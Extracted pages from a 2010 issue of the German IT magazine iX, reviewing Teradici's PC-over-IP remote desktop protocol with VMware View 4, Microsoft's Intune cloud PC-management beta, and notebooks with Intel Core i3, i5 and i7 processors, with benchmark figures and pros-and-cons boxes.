77 REVIEW Protokolle PC-over-IP von Teradici als Hard- und Software PC an der Leine Bernd Kretschmer, Felix Meirich Wenn Anwendern Arbeitsplatzrechner im Rechenzentrum übers Netz zur Verfügung stehen, hat das Vorteile, denn es erspart lange Wege und verhindert unbefugten Zugriff. Allerdings darf dabei die Performance nicht zu kurz kommen. Dass Unternehmen ihren Mitarbeitern an den Arbeitsplätzen unein - geschränkte PC-Leistung anbieten, die dafür erforderliche Rechenleistung jedoch zentral im Rechenzentrum vorhalten können das verspricht Teradici mit einem eigenen Übertragungsprotokoll. Das kanadische Unternehmen ist 2004 mit dem Ziel gestartet, Anwendern ihre Windows-Desktops ohne Einbußen über Ethernet zur Verfügung zu stellen. Dazu entwickelten Tera - dicis Ingenieure das inzwischen patentierte Übertragungsprotokoll PC-over-IP (PCoIP). Seitdem bietet der Hersteller die Endpunkte für seine Protokollstrecke in Form einer Hostkarte für den PCIe-Bus und eines Terminals für den Benutzer an. Fast ein Dutzend OEMs vertreiben die Produkte einzeln oder als Teil anderer Angebote für den Fernzugriff auf Workstations. Aus der Zusammenarbeit von Teradici und VMware ist Ende 2009 eine Software für die Host- und die Client-Seiten entstanden, die zum Bestandteil der Virtual Desktop Infrastructure (VDI) Viewˇ4 von VMware avancierte und sich mit der bisherigen Hardware von Teradici kombinieren lässt. Sie soll Anwendern ein komfortables Arbeiten mit Remote-Desktops erlauben. Doch ob die Direktverbindung zwischen Desktop im RZ und dem Arbeitsplatz des Benutzers wirklich so schnell wie behauptet einzurichten ist und ob es keinen spürbaren Unterschied im Antwortverhalten gegenüber einer Anwendung auf einem PC vor Ort gibt, bedarf einer Untersuchung. Verlängerte Schnittstellen Zur Theorie: PCoIP überträgt komprimierte und verschlüsselte Signale von Bildschirm, Soundchip (von Realtec) und der USB-Schnittstelle einschließlich der Impulse von Maus und Tastatur über das Netz, sodass es Benutzern x-tract wie ein verlängerter Direktanschluss erscheinen sollte. Der Client kann nicht nur die Impulse der Maus und die Eingaben am Keyboard, sondern auch die eines Touchscreen oder die Daten von einer USB-Schnittstelle an den Host übermitteln, der meist als Grafikworkstation konfiguriert ist. Protokoll passt sich ans Medium an Bei der Übertragung passt sich PCoIP an den Durchsatz des Netzes an. Es analysiert bei niedriger Übertragungsrate zuerst, welche Auflösung der Client unterstützt und wie der Bildschirminhalt aufgebaut ist. Reinen Text überträgt es direkt in Originalauf - lösung, Grafiken und von PCoIP als Grafik eingeordnete Texte etwa die Inhalte von Textfenstern bei Word übermittelt PCoIP zuerst als unscharfes Bild (Initialframe), das es nach und nach schärft. Danach gehen nur noch Änderungen an der Darstellung über das Netz. PCoIP verwendet zur Datenübertragung UDP (User Datagram Protocol) und keine TCP/IP-Pakete, ein verspätet ankommendes Datenpaket PCoIP ermöglicht es, den Arbeitsplatz vom für die Rechenleistung erforderlichen Rechner räumlich zu trennen. VMwares PCoIP-Software kann viele Windows-Desktops für Arbeitsplätze im Netz bereitstellen. Am Arbeitsplatz sparen PCoIP-Geräte Energie, mindern den Betreuungsaufwand und verbessern die Sicherheit. ix 11/

78 REVIEW Protokolle Kabellage: Teradicis Hardwareprodukt für PCoIP nutzt das Netz als verlängerten Anschluss an die Workstation (Abb. 1). hält die Übertragung weiterer Pakete nicht auf. Während das Installieren der Software von VMware mit etwas Übung etwa einen Tag in Anspruch nimmt, kann man mit der Hardware von Teradici aus der Box in wenigen Minuten eine Direktverbindung aufbauen. Als Host bedarf es eines PCs mit DVI-Grafikkarte und eines freien PCIe-Steckplatzes, der die PCoIP-Hostkarte mit dem Tera-Chip von Teradici aufnimmt. Sie hat eine Buchse für die Anbindung ans Netz und eine für den Anschluss eines Y-Kabels, dessen beide anderen Enden in die DVI-Ausgänge der Grafikkarte(n) passen. Als Gegenstelle bieten Teradici und seine OEMs ihre Thin Clients an, die ebenfalls mit einem Tera-Chip ausgestattet sind. An die Videoausgänge des Geräts passen je nach Modell bis zu vier DVI-Monitore. Die Audiosignale überträgt PCoIP bidirektional, und die USB-Schnittstellen der Clients lassen sich bis auf die Begrenzung durch die Übertragungsgeschwindigkeit im Netz wie lokale PC- USB-Schnittstellen nutzen. Im Test funktionierten Touchscreens, 3D-Mäuse, Bloomberg-Tastaturen für Aktienbroker, das iphone, der ipod, BlackBerry, Kameras, lokale Scanner und Drucker. Konfigurieren via Webbrowser Hostkarte und Client verfügen über einen eigenen Webserver, sodass der Administrator mit einem Browser darauf zugreifen kann, etwa um die Firmware zu prüfen und zu aktualisieren oder die Hardware für die Daten des Netzes und die jeweiligen Berechtigungen für Nutzer anzupassen. In größeren Umgebungen nutzen Verwalter eine Managementkonsole, die als Image für VMware Workstation verfügbar ist. Im Test mit Windows XP Professional und Windowsˇ7 Ultimate in beiden Versionen (32 und 64 Bit) ließen sich Host und Client binnen weniger Minuten konfigurieren und in Betrieb nehmen. Selbst mit einem etwas betagten Rechner als Workstation-Host war bei Büro- und Internetanwendungen im lokalen Netz kein Unterschied zwischen dem Arbeiten direkt am PC oder am Client erkennbar. Teradicis PCoIP-Hardware ist mit Windows-, Linux- und Mac-OS-X-PCs ebenso einsetzbar, da die PCIe-Schnittstelle die Steckkarte nur mit Strom versorgt. Die Karte verbindet sich mit USB und übermittelt die Tonsignale. Der Weg über die Software Gegenstelle: Im PCoIP-Client verarbeitet ein Tera-Chip die Signale (Abb. 2). Die PCoIP-Software in VMware Viewˇ4 erfordert eine komplexe Konfiguration des Host. Sie bietet Clients für PCs und Thin Clients mit Windows- oder Linux-Betriebssystemen. Damit können Anwender von Windows XP Professional oder Windowsˇ7 ab Professional nicht nur über das Remote Desktop Protocol (RDP) von Microsoft, sondern auch über PCoIP arbeiten inzwischen unterstützt View 4.5 die 32- und 64-Bit-Variante von Win - dowsˇ7. Für den Host braucht man zentralen Speicher und mehrere physische oder virtuelle Server. Mindestens zwei müssen unter Windows 2003, 2008 oder 2008 R2 laufen, um darauf VMwares Virtual Center und Virtual Desktop Manager zu betreiben. Hinzu kommt ein Viertel CPU-Kern pro virtuellem Win - dows-desktop. Seit März 2010 verlangt Microsoft für den Virtual Desktop Access (VDA) Lizenzen (einst VECD). Für Thin Clients schlagen sie mit 100 US-$ pro Arbeitsplatz zu Buche. Kunden, die eine SA-Lizenz besitzen, brauchen im Unterschied zu früher für die VECD- SA-Lizenz keinen zusätzlichen Obolus mehr zu entrichten. Lizenzpolitik schränkt ein Für einen ersten Blick auf die Rolle von PCoIP in Viewˇ4 reicht die Einstiegsversion. VMware bietet Client-Komponenten für Linux, Windows und Mac OSˇX. Produzenten von Linux- oder Windows-Thin-Clients erhalten PCoIP als Bestandteil der View- 4-Clients von VMware. Die Versionen haben aber nicht den gleichen Funktionsumfang wie die für PCs, was teils an der Lizenz für PCoIP und teils an Microsofts Lizenzpolitik liegt. Alle Funktionen von PCoIP sollen in den neuen View Clients für die Windows-Varianten XP, Vista und 7 sowie für die Thin Clients unter WES 2009 und WES 7 ebenso enthalten sein wie bei Geräten mit Tera-Prozessor. Bei Linux unterscheidet VMware zwischen den Herstellern von Thin Clients und der Open-Source-Gemein - schaft. Die entsprechende Version der 78 ix 11/2010

79 Clients von Viewˇ4 samt PCoIP müssen die Hersteller in den Kernel einbinden. Damit gleichen sie den Nachteil beim Microsoft-Client aus: Für Thin Clients mit Linux gibt es kein RDPˇ7, da Microsoft es nicht auf Linux portiert und durch seine Lizenzbedingungen das Reengineering verbietet. VMwares Open-Source-Client von Viewˇ4 für Linux verzichtet aus Lizenzgründen auf PCoIP, sodass nur Verbindungen über die Open Source rdesktop für RDP möglich sind, die teils mit RDPˇ5 und teils schon mit RDPˇ6 vergleichbar ist. Viewˇ4 verbindet PCoIP- Hard- und Software Die Hersteller von Thin Clients dürften ihren Kunden im Rahmen von Updates PCoIP zur Verfügung stellen. Vor aussetzung für View Clients ist stets eine View-4-Umgebung. Ohne die Infrastruktur kann man mit den Software-Clients nicht auf eine PCoIP- Hostkarte zugreifen. VMware pflegt eine Liste mit Viewˇ4 kompatiblen Thin Clients [c]. Mark Ergebnisse des PassMark 7.0 Solid Vectors Transparent Vectors Complex Vectors Fonts and Text Windows Interface Image Filters Image Rendering i PCoIP-Software i PCoIP-Hardware i Software-Thin-Client 5,7 5,3 632,5 835,2 765,1 6,9 7,9 7,5 6,8 112,3 103,5 94,2 189,5 168,2 142,4 211,6 203,3 189,6 325,8 318,6 308,5 236,1 214,9 202,4 Über VMwares Infrastruktur können View-4-Kunden sowohl auf der Hostals auch auf der Client-Seite entweder die Hardware- oder die Softwarevariante verwenden und zukünftig beliebig mischen. Die Geschwindigkeit der Darstellung unterscheidet sich unerheblich. Im Testcenter der BSK Service GmbH, Worms, war auf einem PowerEdge R710 von Dell mit 48 GByte Hauptspeicher und zwei Quad-Core-CPUs View 4.02 Enterprise installiert und Windows XP Professional als virtueller Desktop eingerichtet. Die Massenspeicher waren über iscsi von Infotrend angeschlossen. Die Last erzeugte der 2D-Test im PassMark 7.0. Als Endgeräte fungierten ein Thin Client mit Teradici-Hardware (EVGA Desktop Portal mit Tera- Chip), ein Thin Client mit VIAs Eden Prozessor (1ˇGHz, 512 MByte RAM und 1ˇGByte Flash (DOM)) samt VM - wares View Client für PCoIP sowie ein T61-Laptop von Lenovo mit Intels Core 2 Duo T7500, 4ˇGByte Hauptspeicher und Windowsˇ7 Professional mit dem aktuellen Windows-View-Soft - ware-client. Die Messungen in Ergebnisse des PassMark 7.0 zeigen, x-wertung PCoIP Hardware *ˇzentrales Computing *ˇunabhängig vom Host-Betriebssystem *ˇClients energiesparend und geräuschlos *ˇeinfache Upgrades *ˇAdministration per Browser *ˇbis zu 4 Monitore _ˇproprietäres Produkt _ˇLebenszyklus unklar VMware Viewˇ4 mit PCoIP *ˇfür heterogene Umgebungen geeignet *ˇZugang über Smartcard *ˇXP-Hosts möglich *ˇunterstützt Thin Clients mit Linux _ˇWeiterentwicklung nicht absehbar _ˇaufwendige Installation _ˇOpen-Source-Clients eingeschränkt _ˇPCoIP nicht ohne Viewˇ4 nutzbar [a] Anleitung für die Installation von Viewˇ4 quickstart.pdf [b] weitere Informationen zu Viewˇ4 resources.html [c] Kompatibilitätsliste compatibility/pdf/vi_view_guide.pdf dass die Unterschiede zwischen PCoIP- Soft- und PCoIP Hardware-Client bei der Ausgabe zweidimensionaler Grafik nur gering sind. Fazit Das ursprünglich in Hardware realisierte PCoIP verbindet unkompliziert PCs direkt mit speziellen Tera-Clients. Büroanwender dürften kaum einen Unterschied bemerken, ob sie direkt am PC oder am Tera-Client arbeiten. Die Softwarevariante von PCoIP in VMwares View bietet bei Windows XP und 7 die Illusion der Arbeit an lokalen PCs. Es ist dabei relativ unerheblich, ob man am Arbeitsplatz die Hardwareoder die Softwarevariante verwendet. Ein Vergleich mit Windowsˇ7 blieb außen vor, da zum Testzeitpunkt View 4.5 noch nicht vorlag. Inzwischen bietet Microsoft mit dem Service Packˇ1 (nach Beta) für Windowsˇ7 Remote FX für den Fernzugriff an. (rh) BERND KRETSCHMER arbeitet als freier Journalist, Fachbuchautor und Trainer in Nienburg/Weser. FELIX MEIRICH konfigurierte den Versuchsaufbau bei der BSK Service GmbH in Worms und führte die Messungen durch. Literatur Onlinequellen [1]ˇChristian Knermann; Server-Based Computing; Sparmaßnahme; Thin Clients als Alternative zum PC; ixˇ3/2008, S.ˇ104 [2]ˇBernd Kretschmer; Arbeitsplatzrechner; Schlankheitskur; Infrastrukturen für Thin Clients und Server-Based Computing; ixˇ3/2007, S.ˇ36 x ix 11/

80 REVIEW Systemmanagement PC-Administration als Cloud- Anwendung: Microsofts Intune Strippen ziehen Christian Segor Netzweite PC-Verwaltung gilt als komplexe Aufgabe, die ein hohes Maß an Kenntnissen voraussetzt. Mit Intune will Microsoft die Barrieren zumindest für kleine Netze senken. Im Juli dieses Jahres startete Microsoft die nicht öffentliche zweite Beta-Phase von Windows Intune. Der Produktname ist bemerkenswert verwirrend, handelt es sich doch nicht um einen Online-Store für RMS-geschützte Musik- Downloads, wie man zunächst vermuten könnte, sondern um ein Cloud-basiertes Systemmanagement-Werkzeug. Intune, so die Marketingaussage der Redmonder, versetzt Administratoren (und Anwender gleich mit dazu) in die Lage, Höchstleistungen zu erbringen, unabhängig davon, ob sie sich im internen Netzwerk oder unterwegs befinden. Integration von bekannten Tools Wenn Microsofts Marketingstrategen derartig wolkig formulieren, ist es normalerweise angebracht, etwas genauer hinzusehen. Bei näherer Betrachtung ist Intune eine Art Cloud-Version vom Windows Server Update Services (WSUS), ergänzt durch einige rasch umgelabelte Produkte wie Forefront Security Essentials oder Windows Defender und garniert mit einer Agent-Komponente, die für die Verteilung einiger Policies und die Inven - tarisierung der Clients zuständig ist. Letzteres basiert auf dem System Center Operations Manager Agent, und auch sonst ist nichts an Intune wirklich neu. Alle Komponenten gibt es bereits in ähnlicher Form als eigene oder als Teil von größeren Produkten. Alles zusammen einzurichten und zu verwenden kann aber durchaus einigen Aufwand bedeuten und setzt teilweise tiefergehendes Wissen voraus. Intune kombiniert recht sinnvoll ausgesuchte Teile zu einer leicht zu verwaltenden Systemmanagement-Anwendung für nicht ganz so gehobene Ansprüche. Das Ganze hat Microsoft in einer hübsch animierten Oberfläche neu verpackt, die wie sollte es anders sein auf Silverlight basiert. Die aktuelle Betaversion hat hier noch einige Probleme, und im Test konnte der Internet Explorerˇ8 die Intune-Konsole auf mehreren Rechnern nur gelegentlich an - zeigen. Mit Firefox allerdings funktionierte Intune zuverlässig. Um Intune zu verwenden, bucht der Administrator den Dienst über die Microsoft Online Services. Hierfür benötigt er eine Windows Live ID, die dann auch sein Logon für Intune ist. Nachdem man den Account eingerichtet hat, gilt es, den Intune-Client auf die Rechner der Anwender zu verteilen. Über die Intune-Konsole können die passenden MSIs für 32- und 64-bittige Betriebssysteme heruntergeladen werden, die dann auch gleich für die jeweilige Intune-Instanz parametrisiert sind. Der Administrator installiert die Clientsoftware manuell oder mit einem Softwareverteilungs-Tool; weitere Einstellungen sind nicht notwendig. Ein Active Directory ist keine Voraussetzung für das Installieren oder den Betrieb. Eine zentrale Verwaltungskonsole Der Intune-Agent setzt wenigstens Windows XP SP2 voraus; wer allerdings mit einem derart veralteten Softwarestand unterwegs ist, muss zusätzlich noch zwei Hotfixes und den Windows Installer 4.5 installieren. Das Einrichten auf Vista und Windowsˇ7 verläuft ohne Murren. Die komplette Client-Installation umfasst nicht nur den eigentlichen Agenten, sondern auch die oben erwähnten Viren- und Malware-Scanner, eine Inventarisierungskomponente sowie ein Policy- Modul und eine sehr einfache GUI, mit der der Anwender auf Wunsch Updates installieren, Virenscans durchführen und Unterstützung vom Administrator anfordern kann. Kurz nach dem Setup meldet sich der Agent in der Wolke an und der Clientrechner taucht in der Intune-Konsole auf. Clients sind unter Intune (ähnlich wie bei WSUS) in Gruppen organisiert; die erste Aufgabe des Administrators ist es folglich, den neuen Client aus der Gruppe der Unassigned Computers an einen sinnvollen Platz zu verschieben. Danach steht eine ganze Reihe von Funktionen zur Verfügung. 80 ix 11/2010

81 In einer Art Dashboard, dem sogenannten System Overview, zeigt Intune die wichtigsten Statusmeldungen aller verbundenen Clients konsolidiert an: fehlende Patches, kürzlich entdeckte oder entfernte Vireninfektionen oder Supportanfragen von Anwendern. Der Administrator kann diese Daten auf vielfältige Art filtern und herunterbrechen: Der detaillierte Patch-Status eines einzelnen Rechners ist ebenso darstellbar wie eine einfache Statistik der gerade am häufigsten auftretenden Malware, eine detaillierte Übersicht über die Hardwarekonfiguration und der installierten Software eines Clients. Diese Details lassen sich entweder per Navigation durch die oben erwähnten Gruppen finden, oder der Administrator erstellt einen Report, den er exportieren und weiterverarbeiten kann. Die einzelnen Reporttypen sind vorgegeben und lassen sich leider nur in geringem Maß an die konkreten Bedürfnisse adaptieren. Alle Nachrichten laufen über die Cloud Die Verteilung von Updates erfolgt auf die gleiche Art wie bei WSUS: Updates sind in verschiedene Kategorien unterteilt, und man muss sie für die Installation (oder die Deinstallation) pro Computergruppe explizit freigeben. Die Freigabe kann automatisiert werden, sodass sich beispielsweise sicherheitsrelevante Patches sofort nach Erscheinen ohne Zutun des Administrators auf alle Clients (oder zumindest auf eine Pilotgruppe) verteilen. Die Verwaltung von Patches und Computergruppen ist genauso gewöhnungsbedürftig und unübersichtlich wie bei WSUS. Intune kann wie WSUS lediglich über Windows Update bereitgestellte Software verteilen. Wer seine eigenen Pakete auf die Clients bringen möchte, muss sich nach einem anderen Werkzeug umsehen. x-wertung *ˇeinfache Installation *ˇbenötigt keine Server-Infrastruktur *ˇvom Gelegenheits-Administrator beherrschbar _ˇnur einfache Admin-Dienste _ˇgeringe Flexibilität Onlinequellen Intune-Homepage windows-intune.aspx Intune Beta Guide download.microsoft.com/download/ 3/4/9/349C51B3-D813-4B2B-BE41-30CB140D2EEA/WindowsIntune_ ProdGuide_SinglePage_LR.pdf Auf dem Client installiert der Intune- Agent eine Variante von Forefront Security Essentials, die Dateisystem und Netzwerkverkehr auf Bedrohungen durch Viren und Ähnliches untersucht. Wird der Agent fündig, meldet er den Fiesling dem Benutzer, entfernt die Schadsoftware vom System und meldet den Fund in die Wolke. Er taucht dann in der Intune-Konsole auf, in der der Administrator mit der Zeit eine gute Übersicht über die aktuellen Schädlinge auf den Rechnern seiner Schäfchen bekommt. Das Verhalten des Agents steuert der IT-Verantwortliche über sogenannte Policies, die sie einzelnen oder mehreren Computergruppen zuweist. Diese Policies haben allerdings nichts mit den im Active Directory integrierten Group Policies zu tun, sondern sind ähnlich wie die Reports weitgehend vordefinierte einfache Sammlungen von Konfigurationseinstellungen, die der Agent auslesen und anwenden muss. Über Intune-Policies lassen sich Einstellungen an der lokalen Client-Firewall vornehmen, das Verhalten von Viren - scanner und Update Installer beeinflussen sowie die Intune-Client-GUI anpassen durch Hinzufügen einer Support-Telefonnummer. Wichtige Neuigkeiten aus der Client- Welt werden dem Administrator auf dem eingangs erwähnten Dashboard in Form von Alerts dargestellt oder auf Wunsch per zugeschickt. Letzteres ist sicherlich eine gute Idee, denn so spannend ist die Intune-Konsole nun auch nicht, dass man den ganzen Tag davor auf neue Meldungen warten möchte. Die Alerts sind in verschiedene Klassen unterteilt, wobei der Administrator wählen kann, welche Empfänger welche Benachrichtigungen erhalten sollen. Die Alerts stellen ein rudimentäres Monitoring-Werkzeug dar, das neben Viren-Outbreaks und Ähnlichem auch Anomalien im Client-Betriebssystem oder in vorgegebenen Anwendungen (z.ˇb. Office) melden kann. Darüber hin aus kann der Anwender über die lokale Agent-GUI eine Bitte um Remote- Unterstützung an den Administrator schicken, die dort als Alert aufschlägt. Hierfür haben die Intune-Entwickler Easy Assist eingebunden, Microsofts auf LiveMeeting basierendes Remote- Support-Werkzeug. Easy Assist ermöglicht Up- und Downloads von Dateien, bietet ein Chat-Fenster an und implementiert vor allem eine Art Fernwartungs-Tool, mit dem sich der Administrator auf den Desktop des Anwenders schalten kann. Fazit und Ausblick Alle Funktionen stehen den Anwendern und den Systemverantwortlichen unabhängig von ihrem Standort zur Verfügung: Die Cloud macht s möglich. Alles, was benötigt wird, ist eine Internetverbindung. Damit ist Intune vor allem für kleine Unternehmen geeignet, die keine (oder nur eine rudimentäre) eigene Serverinfrastruktur besitzen. Allerdings gibt es in diesen Organisationen meistens niemanden, der sich hauptberuflich mit IT beschäftigt, was oftmals zur Folge hat, dass dort kein Bewusstsein für die Notwendigkeit eines zumindest rudimentären Client-Managements existiert. Anders ausgedrückt: Wem klar ist, dass Sicherheits-Patches und Viren - scanner gute Ideen sind, hat längst die notwendige Infrastruktur aufgebaut und vielleicht schon Cloud-ready gemacht (was ja schon zu Zeiten möglich war, als Wolke nur ein meteorologischer Begriff war). Wer andererseits noch nicht zu dieser Einsicht gelangt ist, weiß wohl auch nicht, dass er Intune vielleicht brauchen könnte. Das Geschäftsmodell der Redmonder für Intune sieht deshalb vor, dass der administrative Teil gar nicht wieder in das Unternehmen zurückgeworfen werden muss, sondern dass ihn Dienstleister (im Zweifel Microsoft selbst) übernehmen. Damit könnten kleine und mittelständische Betriebe die PC-Administration in Gänze outsourcen. Wie das Lizenzmodell in Deutschland aussehen soll, ist noch nicht bekannt; in den USA fallen beispielsweise monatliche Lizenzgebühren von 11 Dollar pro Client an, in denen sogar noch eine Mietlizenz für Windowsˇ7 Enterprise enthalten ist. (WM) CHRISTIAN SEGOR ist Technologie-Berater bei der Glück & Kanja Consulting AG in Stuttgart. x ix 11/

82 REVIEW Notebooks Prozessoren fürs Mobile: Intels Coreˇi i-tüpfelchen Dieter Michel, Ralph Hülsenbusch Wenn Chip-Schmieden ganze Serien für eine Geräteklasse auflegen, steht man vor der Entscheidung, welche die richtige für den eigen Bedarf ist. Intel bietet mit seiner Core-i-Serie allein drei Varianten. Wer sich nach Notebooks mit Intels CPUs umschaut, trifft auf das Spektrum der i-serie: i3, i5 und i7 und steht vor der Frage, welcher der Prozessor den eigenen Ansprüchen genügt. Die Untersuchung nimmt eine Stichprobe und zeigt zugleich, welches Ausmaß die gesamte Hardwareausstattung für einen Laptop annehmen kann. Intel hat die Core-CPUs für Workstations, Desktops und Laptops entwickelt. Sie gehören zu derselben Familie wie die Server-Prozessoren; die jüngst gegründete ist dem Indianerstamm beziehungsweise der Region Nehalem gewidmet. Die Klassen Dreier, Fünfer und Siebener entsprechen den Einsatzge - bieten. Allen gemeinsam sind 64-Bit- Technik, SSE4.2, Multi-Cores, 36-Bit- Adressbus, und keine Unterstützung für ECC-Speicher. Im Übrigen kann man in der Produktpalette leicht den Überblick verlieren, denn innerhalb eines Stammes sind die Fähigkeiten der Mitglieder unterschiedlich ausgeprägt und sie hören auf unterschiedliche Code-Namen. Einsteiger i3-m330 (Arrandale), für Laptops und Desktops gedacht, soll sparsam und trotzdem schnell genug für die alltägliche Arbeit sein. Seine beiden Herzen schlagen 2,13 GHz schnell, beherrschen aber keine Turbo-Boost- Technik, was heißt, dass kein Übertakten eines Core stattfinden kann, falls der andere mal nichts zu tun hat. Der 3ˇMByte große Smart-Cache hält die Daten in der Nähe und kann bei Bedarf einem Kern allein dienen. Zurückhaltung gegenüber neuen Techniken gibt es zudem beim Thema Virtualisierung, Intel hat Direct I/O (VT-d) nicht implementiert. Ebenso fehlen dem M330 im Unterschied zu den anderen Intels Trusted-Execution-Technik und AES New Instructions, beides Sicherheitstechniken, die Schadprogramme abwehren sollen. Bei der Leistungsaufnahme verbraucht Intels i3-m330 laut Hersteller 35ˇW (Thermal Design Power, TDP). Der Preis beträgt 132 US-$ beim Massenkauf (1000 Stück). Im selben Projekt Arrandale entstand Intels i5-m520, für diejenigen gedacht, die mehr Rechenleistung brauchen. Er biete einen Turbo-Mode für seine beiden Cores von 2,4 auf bis zu 2,93 GHz an. Um die Daten vor Ort zu halten, stehen ebenfalls 3ˇMByte Cache bereit. Für den i5-520m gibt Intel wie beim i3-prozessor 35ˇW TDP an. Mit 225 US-$ treibt er den Preis für leistungsfähigere Laptops und Desktop ein wenig in die Höhe. Zur den Spezialitäten der i3- und i5- CPUs zählt die integrierte HD-Grafik, mit der Intel dem Gegenspieler AMD/ ATI Paroli bieten und Mitstreiter NVI- DIA in die Schranken weisen will. Die Strukturen der Grafikmaschine sind im 45-nm-, die CPUs im 32-nm-Prozess hergestellt. Die beiden Vertreter der Core-i-Prozessoren nutzen noch das Digital Media Interface (DMI), das bis zu 2,5 Milliarden Transaktionen in der Sekunde abwickeln kann (2,5 GT/s). Für diejenigen, die Höchstleistung wollen, hat Intel die i7-serie (Gulftown) konzipiert Prozessoren mit kompletter Nehalem-Technik, die mit dem Quick Path Interface ausgestattet sind (QPI), das 4,8 und 6,4 Giga-Transaktionen in der Sekunde schafft. Für die Datenflut haben sie drei Speicherkanäle einen mehr als i3 und i5 und können damit 24 GByte Hauptspeicher statt nur 16 anbinden. Exemplarische Zusammenstellung Zum Test bot Schenker eine Desktop- CPU i7-970 für sein mysn-notebook, das bereits im August mit einer Ex - treme i7-980x Gegenstand einer Untersuchung im ix-labor war [1]. Die sechs Kerne erscheinen im Betriebssystem dank HT als 12-Ender. Dazu passend gibt es 12 MByte L3-Cache. Am Start mit 3,2 respektive 3,33 GHz können einzelne Cores der Gulftowns kurzfristig auf 3,46 und 3,6 GHz hoch - drehen. Das alles schlägt sich aber sowohl im Preis (ab 885 US-$) als auch 82 ix 11/2010

83 Zugängliches: Mit der Größe wachsen die Möglichkeiten. Bei den i3-notebooks oben in den Bildern ist meist kein Platz für optische Laufwerke. im Stromverbrauch von 130 Watt TDP nieder. Bei der Auswahl der drei Vertreter von Intels aktueller Core-Technik ging der Ruf an die Mobilen; es antworteten: Acer mit Aspire 3820TG-334G50n, Toshiba mit Tecra S11-11H und letztlich Schenkers mit einem MySN-XMG- Notebook, in das zwei Grafikkarten eingebaut waren. Es beginnt mit dem Moment der Betrachtung. Wie es bei der Klassifizierung zu erwarten ist, unterscheiden sich die drei in Größe, Gewicht und Ausstattung. Acer, das sich mit ASUS vor allem bei den Netbooks ins Spiel gebracht hat, bietet dementsprechend Kompaktes, Toshiba das übliche Notebook-Format und Schenker wuchtet die portable Workstation auf den Tisch, bei der das Netzteil allein so viel wiegt wie ein Netbook. Acers 3820 TG Acers Aspire TimelineX 3820TG fußt auf Intels i3-m330, dem Einsteiger in die Core-i-Familie. TimelineX-Notebooks gibt es außerdem mit i5 und i7 CPUs. Das 3820TG nutzt als Grafikkarte eine Mobility Radeon HD 5470 von AMD/ATI, die ihm eine beachtliche Grafikleistung beschert. Die gibt es aber nicht umsonst; sie benötigt höhere elektrische Leistung, die der Lüfter als Wärme wieder aus dem Gehäuse schaffen muss. Bei einem Notebook ist eine Zwangsbelüftung unumgänglich. Acers Entwickler haben sich dafür entschieden, die Lüfter selbst ohne hohe Grafik- und CPU-Last mit niedriger Umdrehung laufen zu lassen. Das beschert dem AS3820TG im hochgefahrenen Zustand ohne laufende Anwendungen eine Lautheit von 0,4 sone leise, aber hörbar. Der Vorteil des Konzepts besteht darin, dass das oft nervende bei wechselnder Last Auf- und Abregeln der Lüftern ausbleibt oft störender als ein konstanter Geräuschpegel. Selbst beim Spiele-Benchmark Call of Juarez steigt die Lautheit daher nur auf 0,6 sone. Erst bei voller Auslastung von CPU und Grafikprozessor müssen die Lüfter richtig ran: Der Akku-Benchmark Battery Eater treibt die Lüfteraktivität nach kurzer Zeit auf 0,8 sone. Für das Display nutzt Acer eines der derzeit verbreiteten Glare -Panel. Im Prinzip handelt es sich um einen Bildschirm im srgb-farbraum. Wie bei Notebooks nicht unüblich, sind die Grundfarben weniger gesättigt, als es dem srgb-standard entspricht. Dadurch lassen die Filter etwas mehr Licht durch, was wahlweise der Display-Helligkeit oder der Akku-Laufzeit zuträglich ist, aber die Eignung des Bildschirm für die Bildbearbeitung einschränkt. Das Display des Acer erreicht eine tageslichttaugliche Leuchtdichte bis zu 211 cd/m 2, die dem Bildschirm bei einem Schwarzwert von 0,27cd/m 2 einen Fullscreen-Kontrastwert von 776:1 beschert. Wie bei Glare-Displays üblich, bleibt der Kontrast trotz Fremdlicht so lange hoch, wie die Lichtquelle sich nicht in der Display-Oberfläche spiegelt. Das Kontrastdiagramm mit Fremdlichteinfluss zeigt, dass der Fullscreen-Kontrast selbst bei Beleuchtungsstärken von 80ˇ000 Lux noch über 10:1 liegt solange der Lichteinfall diffus ist. Kommt allerdings die Reflexion ins Gesichtsfeld, sinkt der Kontrast rapide ab. Bei einer Fremdleuchtdichte von 1000 cd/m 2 sinkt der Kontrast unter 5:1. Da Fremdlicht die Farbsättigung her absetzt, ist eine Abhängigkeit des Farbraums zu beobachten: Bei Spiegelreflexionen von Lichtquellen sind Farbunterschiede kaum noch auszumachen, weil das reflektierte Fremdlicht die Farbsättigung herabsetzt (dunkelgrünes Dreieck). Toshibas S11 Mit dem Tecra S11 schickte Toshiba ein Notebook für den professionellen Einsatz ins Rennen, das mit Intels Corei5 M520 und NVIDIAs Quadro NVS 2100M für anspruchsvollere Arbeiten geeignet sein soll. Die hohe Prozessor- und Grafik - leistung gibt es nicht zum Nulltarif: Das Kühlsystem des Tecra S11 produziert bei gestarteten Rechner ohne laufende Anwendung ein Hintergrundgeräusch von 0,5 sone zwar leise, aber wahrnehmbar. Bei hoher Belastung der Grafik und der CPU (Battery Eater) steigt die Lautheit auf 0,7 sone. Das Abspielen von DVDs erzeugt einen Geräuschpegel von 1,1 sone. Vom Spiele-Benchmark Call of Juarez lässt sich Acers Tecra S11 buchstäblich nicht aus der Ruhe bringen, die Lautheit bleibt bei 0,5 sone, die Framerate liegt allerdings im Akkubetrieb nur bei durchschnittlich 5,4 fps (Frames per Second). Beim Leistungsbedarf hält sich die Tecra S11 zurück. Bei einer eingestellten Leuchtdichte von 150 cd/m 2 liegt die Leistungsaufnahme bei 18ˇW, 45 VA, ein Powerfaktor von 0,41. Bei CPU- und Grafiklast verdoppelt sich die Leistungsaufnahme mit 37ˇW. Die Scheinleistung bleibt mit 49 VA fast unverändert und der Powerfaktor steigt auf bis zu 0,76. Toshiba zielt mit den drei Notebooks in der Tecra-S11-Familie auf das Marktsegment professioneller Anwender. Demzufolge sind die LC-Displays mit einer mattierten Oberfläche ausgestattet. Toshiba setzt auf LED-Backlight, nicht um einen vergrößerten Farbraum zu erzielen, sondern um eine hohe Helligkeit bei gleichzeitig niedriger Leistungsaufnahme zu erreichen. Der Farbraum entspricht mit einer kleinen Abweichung bei Rot ziemlich genau dem srgb- Farbraum, insbesondere den Weißpunkt trifft das Display genau. Als maximale Leuchtdichte des S11-Displays zeigen die Messungen tageslichttaugliche 264,2 cd/m 2, der zugehörige Schwarzwert liegt bei 0,31 cd/m 2, was zu einem hohen Fullscreen- Kontrast von 852:1 führt. Er ist bei Acers Tecra S11 sowohl in der Vertikalen als auch in der Horizontalen weniger winkelabhängig als bei vielen anderen 